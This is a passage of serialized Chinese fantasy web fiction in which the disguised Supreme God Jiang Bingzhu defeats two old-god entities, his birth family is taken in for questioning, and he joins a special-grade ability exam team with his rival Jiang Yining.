在那一秒钟做出行动的,不止是安迪,也有他的敌人。 发现“锈蚀”的行动受阻后,“百相”竟然不管不顾地从鏖战中抽身出来,将剩余的所有力量,汇成不可阻挡的一擊! 但祂的攻击对象并非江秉烛,也不是守护在他面前的那面盾牌,而是试营业酒楼中,在这样的攻击面前毫无还手之力的人类! 祂当然能看出来,至高神殿的人对普通人有一种天真的、不切实际的关照。 他们已经踏入神選者的阶层,可以被称之为“祂”,本来不应该有这样多余的感情。“百相”不理解他们为什么还保留着这种愚蠢而软弱的弱点,但祂知道,这正是破绽! 只要至高神殿的人在江秉烛与普通人的性命间有一刻犹豫,锈蚀的攻击就可以打破那面盾牌,顺利击杀江秉烛。干掉那个身上有着和先知相似的气息的人类! “去迎接死亡吧!”祂狂笑着说。 像“百相”预料到的那样,在发现祂的攻击意图后,安迪确实有一瞬间的纠结。但是下一刻,他便感受到,自己颈间的红色吊坠忽然变得极冷,一种他在神殿中极为熟悉的气息,缓缓降临。 人机如安迪,也不由得睁大了眼睛。 这个生意、这个气息,是……林赛大人? 代替至高神大人执掌死亡权柄的那位从神吗? 即使自己的异能衍生自死亡权柄,安迪也根本没有想过,自己今天能得到林赛大人的帮助。 至高神座下的四位从神,各自代祂执掌着一到两项权柄,放在之前的任何时代,都是足以与拥有神格的正神媲美的强大存在。 而林赛,则四位从神中最冷漠、也最难测的一位。 但不同于天生便有异能的阿德莱亚、以诡异生物为原型的艾瑞斯,这位冰冷的、看起来憎恨着一切的、执掌死亡的从神,祂曾经是一个最普通的人类。 直到肉身死去,他都没有获得任何异能。 即便成为从神之后,林赛也终日笼罩在宽大的黑袍之下。没人胆敢揣测袍子下面的,究竟是没有实体的幽魂,还是血肉已经腐烂的骷髅。 可祂的声音竟然出乎意料的年轻。 “年轻的法师啊……”林赛的声音像鬼魅般飘在安迪脑海中,“你确实天真。” 随着这道嗓音,“百相”自如运用的“生老病死”四个状态全部被冻结住了,能量在顷刻间倒流,将所有状态附加回祂的身上。 “百相”的身躯上,同时显现出稚嫩、衰老、疾病、死亡这四种状态,祂痛苦地显露出部分原型,之前施加的攻击也一道道偏离,被影子似的黑暗尽数吞没。 林赛的声音再次响起,祂说:“但你足够幸运。” “不必目睹任何牺牲,也不用在生命之间,做出任何选择。” “因你信仰着……这世间最伟大的存在。” 从神林赛的声音落下,安迪怔怔地抬起头。 他发现,他的许多同僚都和自己做出了一样的动作。 ——和他一样,他们也在方才的紧急情况中,向至高神大人进行了祈祷。他们的祈愿漂浮在空中,具像化成一个个光点,越过了那些对当前情况一无所知,还在茫然的人类。 那些光点似乎带有某种清晰的指向,荡悠悠飘浮过酒楼的满地狼藉,照亮了深沉夜色中,那个懒散站着的黑发少年。 第66章 江秉烛站在纷争的中心。 代表祈愿的光点飘向他, 簇拥着他。试营业酒樓中光影纷繁,餐厅中明亮的灯光、異能者攻击中带着的溢彩流光,还有那些深邃的、仿若无处不在的雾气与黑影……却都在这些虔诚的、神圣的光点的衬托之下, 顯得黯淡極了。 任谁都能看出, 在场的真正的主角,只有一位。 江秉烛拨弄着自己身邊的光点,在那些来自不同信徒的心声中, 听见了同样的祈祷。 也正是因此, 一个个虚幻愿望才会化作实体的光点, 导致眼前这一幕的发生。 还挺少见的呢,江秉烛非常淡定地想。 在场的其它存在,却没一个有他这么平静。 比起不明覺厉,只是被眼前的力量与景象所震撼到的人类,神殿的信徒更清楚这一切意味着什么。 眼下,至高神殿四位从神之一的林赛大人已经到场了。祂代行着至高神大人的一部分權柄,可以在很多时候,代替至高神进行回应。 可那些具像化的祈愿却全然越过了祂, 飞向另一位存在。 哪怕再不敢相信,这意味着什么,对任何一名信徒而言, 都已经非常清楚! 一些长久以来, 他们没有问出口的疑惑,也在此时迎刃而解。 为什么阿德莱亚大人会对一名異能者格外重视。 为什么神殿的骑士长和主教都曾对江秉烛坐上祭坛的行为不予理会。 为什么那么多大人物,都叮嘱过他们, 一定要善待江秉烛。 因为祂……便是他们的信仰本身! 安迪, 连同其他所有神殿的人, 都在同一时间瞪大了眼睛, 深深吸了一口气,完全说不出话来。 于此同时,不管是“百相”还是“锈蝕”,都毫不犹豫地终止了手中的一切攻击,对于当前的战场没有一丝留恋,不管不顾地向天邊冲去! 到达祂们这个级别,想要离开与否,只是一念之间。 不论神殿众人还是人类,根本没有反应过来发生了什么,只覺得屬于那两名高位存在的气息像是两道厉风,从他们眼前一闪而过。 林赛手中的死亡的力量化作阴影,已经紧紧锁定在祂们身上。 但还有一道力量,比祂的动作更快! 它出现得悄无声息。比起之前声势浩大的战斗,既没有引起光影上的变化,也没有讓周遭的温度骤然上升或是下降。 可在场的所有人,却不由自主地打了个寒噤。那种冷仿佛是从心底渗出来的,他们那些平常被压抑着的、不曾为外人道的恶意与阴暗的想法在这一瞬间全部被剥开,被人看得干干净净、一览无余。 这是种比力量更讓人恐慌的感受。 在这样的影响下,許多人甚至没有注意到,“百相”与“锈蝕”的本体就此被禁锢在空中,而一道金色的人影,从酒樓的包厢中从容地走了出来。 即便身边翻涌着那些无声无形、又令人发自心底恐惧的气息,他依旧笑得温文尔雅,挑不出一点错处。 对于他的出现,江秉烛没有一点意外。 他打了个响指,两条屬于“百相”与“锈蚀”的命运之河便在空中具现了出来。江秉烛端详片刻,随后伸出手,在两条河的主干上輕輕一划。 那只是一道很輕、很细微的划痕,但奔涌的河水随着他的动作戛然而止,彻底走到了尽头。 现实之中,属于“百相”与“锈蚀”的身体,随着河水的消失,一点一点碎裂成细小的碎片。高位存在本身的特性讓祂们试图再生,却远远比不上崩裂的速度。 在归于尘埃之前,祂们用尽最后一点能量,从喉咙里挤出几个破碎的字眼。 “不是先知……” “是你……你、复制了……” 话音未落,祂们的身躯便在世界上彻底消失了。 祂们向外界传达出去的最后一条消息,也在一片寂静中消弭于无形,像是从未存在过一样。 “是啊,”江秉烛直到这时,终于輕轻出声,“你们总是明白得这么晚。” 他说完,抬起头,隔着人群看向周夜阑。 对方也在看着他,眼里带着淡淡的笑意。 江秉烛杀死“百相”与“锈蚀”所用的,是先知的能力。 那家伙附着在江亦宁身上,成天在他面前晃悠,不把祂的能力复制来用一下,实在太可惜了,江秉烛想。 这次事件,是旧神信徒们对于至高神殿的一次试探。时至今日,祂们应该已经收到了剩下几名旧神求援的信息,但对于是否要现出真身,降临这个位面,仍然犹豫不决。 对于集会中那些家伙的层次而言,神殿派来的人并不是最大的威胁。令祂们最为在意的,便是行踪诡異、不知身负了什么任务的先知。 能在神殿的追捕下隐藏到现在,集会中的那些人都活得極为谨慎。祂们不会贸然以真身降临这个位面,除非有紧迫的、不得不出手的理由,还能在同时,拥有全身而退的可能。 有点儿像是钓鱼,总是有很多细节需要把握。 性格使然,江秉烛对于这些事情向来没什么兴趣。但他有很好的合作者,可以把一切处理得当。 周夜阑从人群之外走过来,站在江秉烛身边,金发在夜风里轻轻飘扬。 他笑了笑,对江秉烛说:“你只管下竿,我向你保证,鱼一定会上钩的。” 这实在是很动听的一句话。 江秉烛弯了弯眼睛:“好啊。” 他们简短的对话结束,地面上的阴影适时凝成一道人影,林赛向着江秉烛恭敬地行礼:“我主。” 江秉烛“嗯”了一声,对于祂的出现并没有太多意外:“我之前要的毯子好了?” 林赛点了下头,从虚空中捧出一叠东西。 那是一叠极其精贵而华美的布料,属于蠱人的阴毒气息被牢牢封锁在一道又一道繁杂美丽的花纹之下。林赛捧着蠱人皮做的毯子,问:“我主,我已经按您的吩咐,将这毯子铺满深渊的大殿。只是还剩下了一些,不知道如何处置。” 江秉烛接过那叠布料,在手里翻了翻,先是又为蛊人皮的絕佳质感感慨了一番。 虽然不记得是从什么时候开始学的,但林赛确实在布料的制作与裁剪上很有能力,作品总是越来越贴合江秉烛的审美。 他夸赞道:“林赛,你的技艺又精进了。” 听到这话,林赛的动作微微一顿,目光在江秉烛与周夜阑身上游移了片刻,才恭谨地道谢。 祂的神情悄然变化了些許,只是因为宽大黑色斗篷的遮挡,并没让其它人看见。 这位诡異世界人尽皆知的最冰冷的、代行着死亡權柄的从神在心中悄悄地感叹。 太好了。 这么多年过去,祂们终于重新并肩。 —— 直到此时,来自神殿的其它人才终于找回了自己的思绪。 这不是个梦。 林赛大人降临了。 他们的祈愿全部得到了回应。 而做出回应的那位是…… “至高神大人!” 神殿众人整齐地跪了下去,拼尽全力,也没法让心中的惊涛骇浪平静下来。 他们低着头,哪怕知道“江秉烛”只是至高神大人在这个世界行走的化身,此时也不敢僭越地去看他的面容。 “你们做得很好,”江秉烛风轻云淡地说,“起来吧。” 他是过来吃夜宵的,眼下旧神的事情告一段落了,但饭还没吃完呢。 要是因为这点插曲影响到食物的质量,那就太不好了。 神殿的人连连应是,在迅速用异能对酒樓进行了一定修缮后,各自回到后厨去做饭了。 这场对峙的时间不长,众位大人出手又很及时,他们基本没有受伤,普通人也都状态不错——那些因为购买非法制品而被动物怨灵缠上的京城有钱人们除外。 但对于京城的人来说,这实在是太耸人听闻了! ——到底什么酒楼,能在遇到一起超大型诡异事件后,这么淡定地回去做饭啊! 他们对于后来降临的“百相”与“锈蚀”的等级没有概念,但数量那么庞大的七级的诡异生物本身,就已经是很大的威胁了!可不管是那些诡异生物还是后来出现的两个存在,都在他们面前,被轻而易举地解决了。 哪怕再没有概念、再听不懂诡异世界的语言,在场的人也能看得出来,这一切的关键,都在那个被光点环绕着的少年身上。 他一定很强。 甚至比七级的诡异生物还要强大! “那个人,就是思恒提到过的江秉烛?”許先生低声问自己的夫人。 “是的,”許夫人点点头,表情写满了担忧,“思恒提到他的时候,态度很不友善,似乎是因为……江秉烛和江家的江亦宁有些矛盾。” 放在不久前,许思恒和江家交好、讨厌一个乡下来的学生,他们当然不觉得有什么问题。 但问题是,江秉烛顯然不是普通人。看这个架势,异能远比京城年轻一辈中领军的陆文泽、谭慧还要厉害得多!这样的人物,他们就算不能交好,也絕对不能得罪。 “真叫人不省心!”许先生忍不住骂了一声,立刻打开手机,派人聯系许思恒,让他火速回家。 许夫人忽然想到了什么:“江家人应该是认识江秉烛的,不知道他们之间,究竟是什么关系。” 她这样一提,许先生也回忆了起来。 在进入试营业酒楼之前,江知衍特意走上前,和江秉烛说过些什么。如果只是小辈间的摩擦,他们犯不上做出这样的举动。 许氏夫妇心底升起一些疑问,回头寻找江家三人,目光逡巡了一圈,却没有看到那家人的影子,也不知他们去了哪里。 —— 试营业酒楼几条巷子之外,江家三人撑着墙壁,大口大口地喘着气,等待着司机接他们回到江家的庄园。 他们是趁着场面混乱,在两名旧神余孽身死后,便立刻逃出来的。 但即便如此,在酒楼内目睹的内容,也足夠让他们确信一件事——江秉烛绝不简单! 对于这个孩子,他们之前都看走眼了。 早知如此,他们当时怎么也应该将江秉烛多留在江家一阵子,和他之间多培养培养感情。 都怪当时那套该死的測异能的装备,险些叫他们错过了真正的天才! 想到这里,严清嘉更是焦急,催促道:“快去聯系王家陆家的人,叫他们开放渠道,重新为秉烛測试异能。一旦得到结果,我们就公布他的身份。阿衍,你去看看特级异能者考核现在的报名还来不来得及,他有那样好的天赋,一定不能错失这次机会!” 江盛和江知衍一句反驳的话都没有,立刻着手进行安排。 至于江秉烛本人的意愿,他们倒不觉得这是太大的问题。 毕竟再优秀的人,也需要一个好的平台。江秉烛从小长大的渔村、和他在第二城的那些同学,都不足以为他提供足夠的助力。 只要他脑子清醒,哪怕对江家现在有些怨言,也不会拒绝他们抛来的资源的。 司机很快便来了,江家三人上了车,仍然一刻不停地忙碌着,却并不觉得疲惫。 他们已经能想象到,江秉烛在新的异能测试和考核中大放异彩后,江家的声望能够提升到什么样的程度,又该获得多少新的资源与关注。 到了那时,他们便不止是京城中一个颇有底蕴的家族,而会跻身进入三大家族的行列,甚至比他们更胜一筹! 在幸福的畅想中,他们回到江家的庄园。 异能者耳聪目明,车还没停稳,江家三人便发现,庄园门口竟然已经等了一个人。 不是庄园的管家。 那人西装革履,脸上没什么表情,只有衣袖的角落,有烫金的标注,纹了一个古体的“王”字。 王家真正的掌权者极少亲自露面,有什么事情,一般都由眼前的王赋代为处理。 江盛之前想要请动皇权化身的力量,为江秉烛重新测试异能,便是在与他联系。 电话中,王赋的态度有些令人捉摸不清,江盛没想到他现在竟然亲自到了江家的庄园,虽然有些意外,却还是立刻下车相迎。 王赋无视了他那些寒暄的客套话,有点突兀地说:“你之前联系我,是想见到皇权的化身?” 他的措辞有些奇怪,但大体意思类似,江盛便没有在小事上纠结,陪着笑道:“您说得没错,我们确实有些需要……” “那就好,”王赋点点头,打断了他的长篇大论。 不知是不是因为夜色太深,他的声音也显得有些过分阴沉。 他问:“江先生,那你想必也很清楚,江亦宁的所作所为了?” 第67章 江亦宁? 他不是在幽帝行宫参观时偶遇了诡異, 现在还受伤在医院吗? 江盛还没有说什么,嚴清嘉听见了这边的对话,上前反问道:“王先生, 提到小宁, 我还要问你呢!” “他在幽帝行宫那样的景点游览,是怎么会偶遇诡異的?京城的安保措施,到底有多少漏洞?” 王赋看着她, 平板的嘴角竟然上扬了一点弧度, 嘲讽似的笑道:“依嚴女士您的意思, 这一切,反而是我们的错了?” 他问话的语气明显不对,江盛试图在中间打个圆场,却没能拦住嚴清嘉。 她高高地扬起下巴:“我只是就这件事中的不合理之处提出疑问,并没有问责的意思。但有些话我不得不问——我家的孩子受伤进了医院,我们作为家属,不仅没有及时收到通知,甚至连他被中樞局带走问话都是过了很久才知道的, 这合规吗!” 即使现在知道江秉烛很强,也不妨碍江亦宁才是她心里几十年如一日的那个乖巧懂事的好孩子,是他们家族的荣耀。 直到现在, 嚴清嘉也想不明白, 幽帝行宫里到底出了什么事,才会讓江亦宁被中樞局的人带走。 这里面必然有误会。或许,就是因为中樞局的疏漏。 王赋挑了挑眉:“既然如此, 那就麻烦您与您先生, 和我们走一趟了。” 他比了个手势, 身后走出几名穿着中枢局制服的人, 以一个很讲究的站位,围住了江家三人。 这个站位本身并没有逼迫的意思,但一旦被围着的人有不配合的意思,逃离的路线便很容易被封死。 严清嘉这时才注意到,从始至終,庄园的管家一直未曾现身。 江盛沉声道:“你什么意思?” “容我提醒您,”王赋说,“皇權的化身在今天早些时候,受到不明力量的攻击,不幸殒落。我们的人经多方调查发现,您的次子江亦宁,与此事有很大关联。” 皇權化身陨落了……?但这和江亦宁能有什么关系! “我理解您的焦急心情,”严清嘉高声说,“但小宁还是个孩子,他怎么可能参与到那样的事情中!” “您说的对,严女士,”王赋意味深长地看了她一眼,“我们已经问过江亦宁了,据他所说,他本人对一切毫不知情。在幽帝行宫中的一切行动,都是受到家中长辈,包括您的指示。” “什么?”严清嘉下意识说。 在她听来,这句话的信息量,比皇权化身死了还要大一些。 但王赋却没有耐心,讓她想明白一切了。 他挥了挥手,中枢局的人便不由分说地“请”走了严清嘉与江盛。 “小江先生,”王赋说着,又看向正在手机上操作,试图联系多方的江知衍,“作为江亦宁的血亲,这一趟中枢局,您也要去。” 江知衍已经很久没有被这么称呼过了。 大多数时候,别人都称呼他为“江先生”、“江总”,因为任何其他的叫法,对于这位未来必然要接手江家、并且已经初露锋芒的青年而言,都是一种轻视,会讓他感到不虞。 但在王赋眼里,这一切显然都不重要。 江知衍并没有什么反抗的余地。在今天出门前,他怎么也想不到,短短一个晚上,自己一家人竟然会在中枢局整齐地重逢。 现在看来,三大世家对于皇权化身的事情极其看重,连管家大概都被他们带走了。江家唯一一个没受到影响的人……竟然是江秉烛! 因为被他们嫌弃没有異能,所以根本没有正式認亲、记上族谱的江秉烛。 —— 对于今夜京城中发生的變故,江秉烛一无所知。 试营業酒楼的vip包厢替他隔絕了京城里那些想上来套近乎的家夥,让他安靜地享受完了夜宵。 林賽这次降临人类世界,还有些别的事情要做,已经按照江秉烛的吩咐离开了,但祂亲手縫的毯子的余料,还靜静躺在江秉烛手中。 坐垫江秉烛已经有了一个,他在生活上实在没有太多创艺,对着精美的毯子发了会儿呆,然后敲了敲周夜闌。 “你有想法吗?” 周夜闌坐在他旁边,不紧不慢地剥好了几盤皮皮虾、几盤小龙虾和一堆螃蟹,蟹黄蟹肉被泾渭分明的分在两个盘子里。 江秉烛觉得这家夥多少有点儿强迫症。 周夜闌用異能净了下手,望着那段布料,想了想:“现在入秋了,天气转凉,不如做件外套吧。” 江秉烛:“……?” 可以是可以,但衣服这种东西,随便用异能變几件就好了吧。 说起来,自己每次见这家伙,他穿得好像都不一样,不会真的像人类一样,每一件都是自己买的吧。 他小小地震撼了一下,但又一想到是周夜闌,又觉得有点合理。 好像从很久以前开始,这家伙就是这样,对于一些细节,甚至比纯粹的人类还要在意。 “穿起来,总归是不一样的,”周夜阑像是看懂了他在想什么,手指在桌上轻轻点了点,毯子的余料在空中摊开,被属于他的力量裁剪、修整着,没几分钟,就变成了一件漂浮在空中的黑色长款風衣。 出于好奇,江秉烛试了试,不知道是蛊人皮质感好,还是周夜阑水平独到,穿起来确实非常舒服。 那身黑色風衣的裁剪异常合身,戗驳领、双排扣,肩部挺括,腰际收窄,自带一种冷峻与威严。 这件衣服的气场并不贴合原身清秀而温良的长相,反而更衬江秉烛自己人类形态时,那张俊美到惊心动魄的脸。 对于外观上的事情,江秉烛没太在意。他摸到衣服袖口的走线,忽然眼神一凝,看向周夜阑:“林賽是和你学的?” 在现存的记忆里,他其实不记得自己是怎么認识的林賽,对于祂是怎样成为自己从神的,有些地方也不太清楚。 但林赛自学裁縫手艺已经有段时间了,大概是从自己成为至高开始,才变得格外热衷。 毕竟那时,祂们的威胁都已陨落,阿德莱亚、艾瑞斯各自寻找了些新的爱好,林赛的举动并不奇怪。 “算不上,”周夜阑谦虚地说,“我学识浅薄,只教了祂一点皮毛而已。” 江秉烛摸着大衣上几乎一模一样的走线习惯:“……” 你管这叫皮毛? 他很确信,林赛和周夜阑学裁缝技术的时间,絕对不会短。 这就很有趣了,江秉烛沉思着,他有着删除记忆的习惯,但会保留其中必要的一些。 可他忘掉了周夜阑、甚至连和周夜阑有关的林赛、和周夜阑一起猎杀过神明的一些细节都不记得。 而世界上,没有任何人能擅自干涉他的记忆,除了他自己。 所以,自己当时是为什么,删掉了这些事情呢? 和这家伙在一起待着,明明并不无聊。 江秉烛有种直觉,他知道自己能在周夜阑那里得到答案。可不知出于什么原因,他并没有问,而是收起了最后一点剩下的黑色余料,揉了揉,塞回深渊里。 或许以后还有用得上的地方。 —— 接连两场诡异事件后,京城依然没能风平浪静。 因为越来越多诡异事件在世界各地发生,他们再也没有办法在普通人面前瞒下诡异存在的事实,不得已透露了一点消息出去。 人类世界上一次遇到这样频繁的诡异事件,还是接近千年以前。 那时,他们将其称之为“诡异入侵”,指得是有来自别的位面的诡异神祇将占领这个世界。 京城中厉害的异能者们,对其它世界并非一无所知。他们从资料里推断出,那时诡异世界的十一位神明彼此争斗不休,有不少神试图从其它位面获取资源。 但根据现在的情报,当初争斗的十一位神明应当已经分出胜负,成功的那一位,已经成为至高。 至高神,也会在意他们这样一个平凡的位面吗? 还是说有些别的存在在这里作祟? 为此,京城的三大世家连着开了好几天的会,列出了一个近来他们非常在意的、神秘而强大的异能者的名单,其中“教主”与“希格尔德”这两个名号赫然在列。 他们忧心忡忡地忙碌起来,直到曾经极为期待的那场特级异能者考核拉开帷幕。 这样盛大的活动少不了观众,京城为此特意设立了看台。 江秉烛先前就和A班学生约定好了,按时来到看台。真正要参加考核的异能者们来得很早,此时基本到齐了,他在下面看到不少熟人。 除了A班的学生们,还有谭慧和上次在幽帝行宫中遇到的司律等人。费尔南多也在看台的一角和试营業酒楼的人站在一起。他看见自己的饭搭子,激动地挥了挥手。 江秉烛也跟他们打了个招呼。 昨天晚上的经历丰富又有趣,即使现在回忆起来,也让他觉得心情很好。 自从神殿一别,费尔南多挺久没见到江秉烛了,十分怀念这位在吃上很有品味的伙伴。 他拍了拍自己旁边的同僚安迪,用自己一贯的简短话语介绍道:“小江。” 他之前就提过很多次的那个很会吃的小江! 小、小江……? 就算再有一张棺材脸,安迪的嘴角也不由自主地抽搐了几下。 把至高神大人称作小江,这怎么想也太超过了吧! 他深深地看了费尔南多一眼,对这位红发骑士的勇气表示敬佩。 这个眼神实在让费尔南多有些摸不着头脑。他觉得小江是个很好的人,只要相处过一阵子,没人会不喜欢他的。有机会的话,他一定要把小江带来试营业酒楼,他和安迪互相认识后,肯定很有共同话题。 与此同时,江秉烛被黎双白神秘兮兮地拉出了A班学生待着的区域。留着月白色长发的男生看着他,眼神中杂糅着各种令他看不懂的复杂情绪。 江秉烛和他对视良久,終于听到黎双白沉痛地开口:“小江,你的身份,我全都明白了。” 江秉烛“哦”了一声:“看来,你都知道了。” 对于这件事,他倒也不是太意外。 现在回忆起来,他也觉得自己当初在后室时搪塞黎双白的理由有些敷衍,经过昨天的事情,这名观察力不错的学生,对自己的身份有些猜测,也是理所当然。 江秉烛平静道:“你不要说出去就好。” “当然!”黎双白的反应,却比他想象得还要激动。“小江,这是你的事情,你不想让人知道,我绝不会往外说。我只是觉得,他们对你,在太不公平了……” 江秉烛:“?” 这和公平有什么关系吗? 江秉烛后知后觉地发现,他们在说的好像不是一件事,不由得陷入沉默。 面前的少年低头不语,黎双白知道他一定是被触及到了伤心事,又叹了一口气,只觉得心头更加难受。 他此前怀疑江秉烛身份时,曾经托家里调查过江秉烛的背景。时隔数月,他早就打消了心头对于江秉烛的疑问,却在此时,终于得到了一份完全在他意料之外、沉重得叫他说不出话的调查结果。 ——江秉烛,才是京城江家真正的二少爷。 第68章 江秉烛眨了眨眼。 他花了一阵功夫, 才想起来自己还有个江家二少爷的身份。 这是什么很重要的事吗? 就算是原身,现在好像也不太在意和江家之间的关系了。 江秉烛不是很能理解黎雙白的情绪,人類总是怪复杂的。 黎雙白看着他那副没什么表情的脸, 原本想好的那些安慰的话, 忽然间说不出口了。 是啊,他想,小江所遭遇的这些, 怎么是他能用三言两语就安慰好的呢? 亲生父母的漠视、江亦寧的不断挑衅, 还有富人圈子里常见的拜高踩低。 江秉烛虽然从未诉苦, 但对他而言,这样的生活怎么会輕松呢?难怪他这样沉迷于养鱼,或許就是想在陌生而冷酷的环境中,通过熟悉的东西,给自己找到唯一一点慰藉吧。 “小江,”黎雙白最后輕轻拍了拍他的肩膀,“你的鱼都找到了吗?有需要的话,讓我来帮你吧。” 江秉烛眼睛亮了亮。 虽然不知道黎双白那令他难以揣测的谨慎的人類大脑是想了什么, 才把思路拐到了找鱼上,但江秉烛对于这个话题的兴趣,比江家人大多了。 “快找全了, ”江秉烛说, “你喜欢,随时可以来看。” 他来京城的时候,特意搬上来自己的鱼缸。一想到总算能把十一条鱼整齐地放到一起, 他就对未来充满了期待。 “我会的, ”黎双白郑重地点了点头。 他们聊天的功夫, 京城特級考核的主办方终于结束了他们充斥着冗长致辞的开场, 开始公布考核的具体细节。 特級異能者的考核規则曾经非常复杂,包括了一系列积分赛、排位赛、擂台赛,最后才会讓被选出的前二十名优胜者们真刀真枪上阵,处理他们事先勘查好的,符合特级标准的詭異事件。 但今年情况不同,出现在各地的詭異事件实在太多了。主办方干脆简化了規则,将參赛者随机分成四到五人的小组,讓他们去解决一系列詭異事件,并按照參赛者们杀死的诡异生物的质量与数量,为他们进行排名。 分组的结果完全随机,陆文泽虽然是被看好的头號种子,但被分到的地点极其偏僻,已经到了京城郊区,相关的诡异事件强度也不高,令这位种子选手处在劣势的位置上。 陆文泽自己倒松了口气。 自从见过江秉烛以后,他对于异能者之间的各种考核已经完全失去了兴趣。什么特级、什么高手,谁爱当谁当,他只想离京城、离江秉烛所在的地方越远越好。 他想着,关注着自己后面的队友。 一个是来自克莱登学院A班的赵一清,实力不错,而且不是个多事的人。 另一个,是讓他有些意外的江亦寧。 陆文泽听到过风声,江家似乎和最近京城的許多重大变故有所关联,江亦寧是最早被重点关注的对象。 江亦寧赶到考核现场时,也确实非常狼狈。 在幽帝行宫时,他明明已经算好,借着“被冤魂取代”的名义抢走了那块能让他离开行宫的玉牌,一出去便联系了中枢局,自信这件事不会对自己产生任何负面影响。 可是世事无常,谁能想得到,在京城盘踞了那么多年的皇权化身,竟然会轻易死掉! 谁杀的? 被困在行宫里的那些学生?还是那些到死还只会愚蠢地互相谦让的冤魂? 江亦宁完全不明白里面发生了什么,但非常不幸的是,皇权的化身就是死在行宫里了。而他,作为最先从诡异事件中脱身、行为又显然于他人不同、还得到了负面证词的人,被京城中枢局当成了头號嫌疑人。 好在江亦宁反应得及时,发现京城针对的重点并不是自己,而是江家,迅速把事情的大头推到了江家三人身上。而先知也在关键时刻苏醒,对审讯者与江家三人的命运进行了小幅度的更改,这才让他从中枢局脱身,能来到考核的现场。 ——这是先知主动提出的。 据祂所说,这次考核中的一处场地极为特殊,不仅能让祂短暂恢复全盛期的实力,还可以更好的与祂所信奉的那位光与火之神联系。 虽然江亦宁对于先知的承诺已经有点ptsd了,但眼下江家受到针对,他没有更好的选择。如果可以在这次考核中崭露头角,哪怕江家真的自此倒台,他也能获得一些名声,让自己有退路可走。 至于到时候如何与江家划清界限,这对以前的江亦宁来说,是需要花不小的力气才能办到的事情。但现在,这并不是一道难题。 毕竟,他可不是江家人的亲生孩子。 江秉烛才是。 有江秉烛在,和江家这艘大船一起沉没的事情,无论如何发生不到他的身上。 眼见主办方的巨大屏幕上,滾动着自己的名字,江亦宁在四下探寻的目光里走上台,理了理自己凌乱的仪容,与陆文泽、赵一清分别握手。 这支队伍的前三人已经摇好,每一个都在本次考核里挺受关注。 看台上的观众们紛紛期待起队伍的最后一个人。 众多參赛者的名字在大屏幕上滾动着,一秒、两秒……人名滚动的速度终于慢了下来,最终停在一个让人有些陌生的三字名字上。 ——江秉烛。 观众们愣了愣,并不记得参赛者中,还有这号人物。 然后,异能自动锁定了一名少年俊美到有些妖异的面容。 这下,观众便想起来了。 ——这不是之前那个校园戏剧节里,因为惊艳的长相,和特别有代入感的演技火了一把的学生吗! “原来,他也是个异能者吗?他的异能是什么,是跟演技有关的吗?” “这倒没听说过,”另有人说道,“不过能报上名,他应該有异能才对。” 场外,观众们对江秉烛议论纷纷,先前认识他的人却完全处在震惊的状态中。 江秉烛是有异能没错,可谁都知道,他的能力很不起眼,就算偶尔能有些妙用,终究不能支撑他,走在异能者晋升这条危机四伏的路上。 况且,以他的异能强度,本来就不应該通过特级异能者考核的筛选——这只是场考核,不是冲着要人命去的。异能强度不达标的人贸然参与其中,是会有生命危险的! 一定是有人故意为之! A班的学生们立刻炸了锅,向主办方提出上诉。就连许多其他地方的参赛者也覺得这事不妥,要求主办方对这件事重新进行审理。 但这也太麻烦了,江秉烛想。 京城里的人类本来规矩就很多,申诉来申诉去的,谁知道要拖到什么时候? 江秉烛内心吐槽了一句,便拦住了正在申诉的黎双白:“不用。” 反正那地方他都是要去一趟的,光明正大地进去和找个其他方法混进去,对他来说区别不大,这样倒能省点事。 他语气和平时一样淡然,可那句话却像个命令似的,黎双白愣了一下,下意识竟然是要服从的。 他没来得及再说什么,江秉烛已经一步步向前走去。 周围人很多,观众们将看台周邊围了个水泄不通,可随着江秉烛向前,他们不约而同地向两侧让开,为江秉烛让出了一条专属的、仅容他通过的道路。 江秉烛步伐不快,甚至称得上散漫。他肩上披着那件新做的黑色戗驳领大衣,身穿克莱登学院最普通不过的白色衬衫,就这样走过人海,登上高台,和另外三名异能者站在了一起。 其他人尚且不明白这意味着什么,A班的学生却内心百感交集,都要泪流满面了。 ——他们太清楚了,小江又一次害怕他们为难,而选择了牺牲自己。 世界上,怎么会有像他这样善良的人! 他们愿意付出一切努力,让江秉烛回到安全的地方来。但事已至此,主办方不再留出任何转寰的余地,他们只能在自己身上的武器装备中挑挑拣拣,选出最合适的那些,帮助江秉烛顺利在这场考核中活下来。 赵一清替他们传达了这份好意,虽然没有对江秉烛多说什么,但也下定了决心,一定会在行动中,尽己所能地保护自己的同学。 但站在他右手邊的陆文泽却完全不这么想。 陆文泽:“……” 苍天啊,有没有人可以来救一救他啊! 他真的、真的不想和这种存在一起参加考核啊! 可惜的是,没有人听到陆文泽心底绝望的呼声,他只能凭借生物求生的本能,往远离江秉烛的方向挪了挪,也因此离江亦宁更近了一些。 陆文泽是本次考核中的头号种子,江亦宁对他早有耳闻,可惜一直没机会发展出更深的交情。 现在,陆文泽的举动让他捕捉到了一些机遇,他的心里立刻飞快地闪过许多中关于未来的设想,只覺得自己与江家割席后的人生,应该还大有可为。 “老师,这件事进展的,真的比我们现象中还要顺利,”江亦宁不由得感慨道。 “那到底只是个普通人,命运当然好操纵。”先知淡淡地说。 “你已得到过伟大的光与火之神的回应,应当记住,此后的目光不该如此短浅,局限在一个凡人身上。” 江亦宁对此深以为然。 有先知牵线搭桥,他又在光与火之神的复苏中,做出了巨大的贡献,这一切都让他早已有了远超在座这些人的资本。 哪怕外界传的诡异真有一天降临,对自己也未必是坏事,反而有可能是全新的机会。 他一边想,一边用余光悄悄瞟着江秉烛。 忽然之间,江亦宁意识到,他也在看着自己。 江秉烛惯常都是垂着眼,叫人很难看清神色,也很容易便被当成是个内向而不善言辞的人。 但现在,江秉烛的神态完全不是正常人偷看别人时那种谨慎而小心的样子,也不是人们对视着交流时应该有的眼神。 他只是直勾勾、毫不掩饰地盯着江亦宁,就好像……看见了他身上,什么不该有的东西一样。 江亦宁心神一震。 他不自觉打了个寒噤,往后退了一步。 而江秉烛看着他,唇角扬起了一个弧度很淡的笑。 直到这时,江亦宁才发现。 江秉烛的黑眼仁大得出奇,颜色又深得过分,像是一片幽暗无底的深渊,几乎反射不出任何光亮。 【作者有话说】 最近一周很多,更新可能不太稳定。特别不好意思!如果近期没有日更的话,评论区会随机掉落20个小红包,当作给大家的补偿了[爆哭] 第69章 好奇怪。 江亦宁莫名感到很不安。 借着这个机会, 他悄悄往陆文泽那邊靠了一点,小声道:“陆同学,你有没有覺得……江秉烛看我的眼神不太对?” “哪有?一定是你太敏感了, ”陆文泽义正辞严, 